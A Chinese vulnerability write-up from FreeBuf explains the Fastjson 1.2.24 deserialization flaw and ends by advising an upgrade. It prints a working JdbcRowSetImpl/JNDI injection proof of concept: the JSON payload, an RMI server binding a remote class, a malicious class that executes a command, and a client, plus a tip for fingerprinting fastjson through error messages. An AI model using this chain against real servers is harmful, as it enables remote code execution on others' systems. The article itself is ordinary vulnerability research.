freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Fastjson 1.2.24反序列化漏洞分析
2021-09-26 10:57:37

前言

Fastjson 是阿里巴巴开源的JSON解析库。可以将 Java 对象转换为 JSON 格式,当然也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。

Github链接:https://github.com/alibaba/fastjson

Fastjson序列化与反序列化

fastjson序列化与反序列化的两种方式:基于属性 和 基于getter/setter 。

举个很粗糙的例子简要理解一些基于getter/setter 方式:

class Apple implements Fruit {
    private Big_Decimal price;
    //省略 getter/setter/toString等
}

class iphone implements Fruit {
    private Big_Decimal price;
    //省略 getter/setter/toString等
}

在传入参数后,比如Apple 5块钱,iphone 5000块。序列化成json字符串之后是这个样子的:

toJSONString:{"fruit":{"price":5}}

toJSONString:{"fruit":{"price":5000}}

看到序列化之后的json字符串,将这两串json字符串反序列化成java对象的时候问题来了,只看json字符串是无法区分Apple跟iphone的。所以反序列化后会混淆。是5000块的苹果 ?还是5块钱的iPhone ?

所以Fastjson引入了AutoType(基于属性),在序列化的时候,把原始的类型也记录下来:

{
    "fruit":{
        "@type":"com.hollis.lab.fastjson.test.Apple",
        "price":5
    }
}

就是这个@type属性,记录下了原始类的名字,这样就很直接的 Apple 5块钱,而不至于toJSONString后产生混淆。但是,问题又来了,因为@type的值没有进行任何的校验,配合一下可以利用的类(如:JdbcRowSetImpl),那么反序列化漏洞就出来了。

判断漏洞存在性

只要是json传输数据就去尝试:故意把json数据格式写错,试着让服务器返回报错,如果看到 com.alibaba,fastjson.JSON ,就说明服务器用了fastjson ,那就用poc去测一下吧。

漏洞影响版本

fastjson <= 1.2.24 ,利用链:JdbcRowSetImpl

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链最终的结果往往是导致JNDI注入,通常使用RMI+JNDI进行利用。

RMI:远程方法调用(Remote Method Invocation)。能够让在客户端Java虚拟机上的对象像调用本地对象一样调用服务端Java虚拟机中的对象上的方法。类比一下http协议,ftp协议这类,在浏览器上使用rmi协议获取rmi服务器中的资源。

POC:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

说明:@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为truefalse等布尔值类型:

服务端JNDIServer.java :

public class JNDIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Exloit",
                "badClassName","http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
}

远程恶意类badClassName.class :

public class badClassName {
    static{
        try{
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        }catch(Exception e){
            ;
        }
    }
}

客户端JNDIClient.java :

import com.alibaba.fastjson.JSON;

public class JNDIClient {
    public static void main(String[] argv){
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

漏洞分析

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

为什么在poc中要使用 JdbcRowSetImpl 这个类?其他的不行吗?首先,JdbcRowSetImpl它是java里自带的类,所以保证了你一定能找到这个类,我们进入研究一下JdbcRowSetImpl.class类的代码,在它执行反序列化的时候,dataSourceName的值被传参进去。
image

再看poc中的autoCommit属性。
image

判断 this.conn 值是否为空,第一次初始化,肯定为空的,所以走到 this.conn = this.connect(); 跟进,
image

看到第333行,DataSource var2 = (DataSource)varl.lookup(this.getDataSourceName())

调用lookup方法加载dataSourceName的值,并返回给 DataSource var2 。

所以一旦把这个类"@type":"com.sun.rowset.JdbcRowSetImpl"反序列化,就会调用setDataSourceName(var)方法并且"autoCommit":true设置了的话,就远程加载了 rmi服务器上攻击者设置的恶意的类。

修复建议

Fastjson更新到最新版。

作者介绍:

Bitores,无尽安全实验室团队成员之一。一个梦想着某天能顺着网线去拿下你内网域控主机的练习时长两年的渗透测试练习生。擅长 web/内网 渗透测试,分析常见漏洞,跟踪分析研究最新漏洞并提供漏洞修复方案。偶尔php代码审计分析,攻防演练,红蓝对抗,配合应急响应处置突发安全事件。

# Fastjson反序列化漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录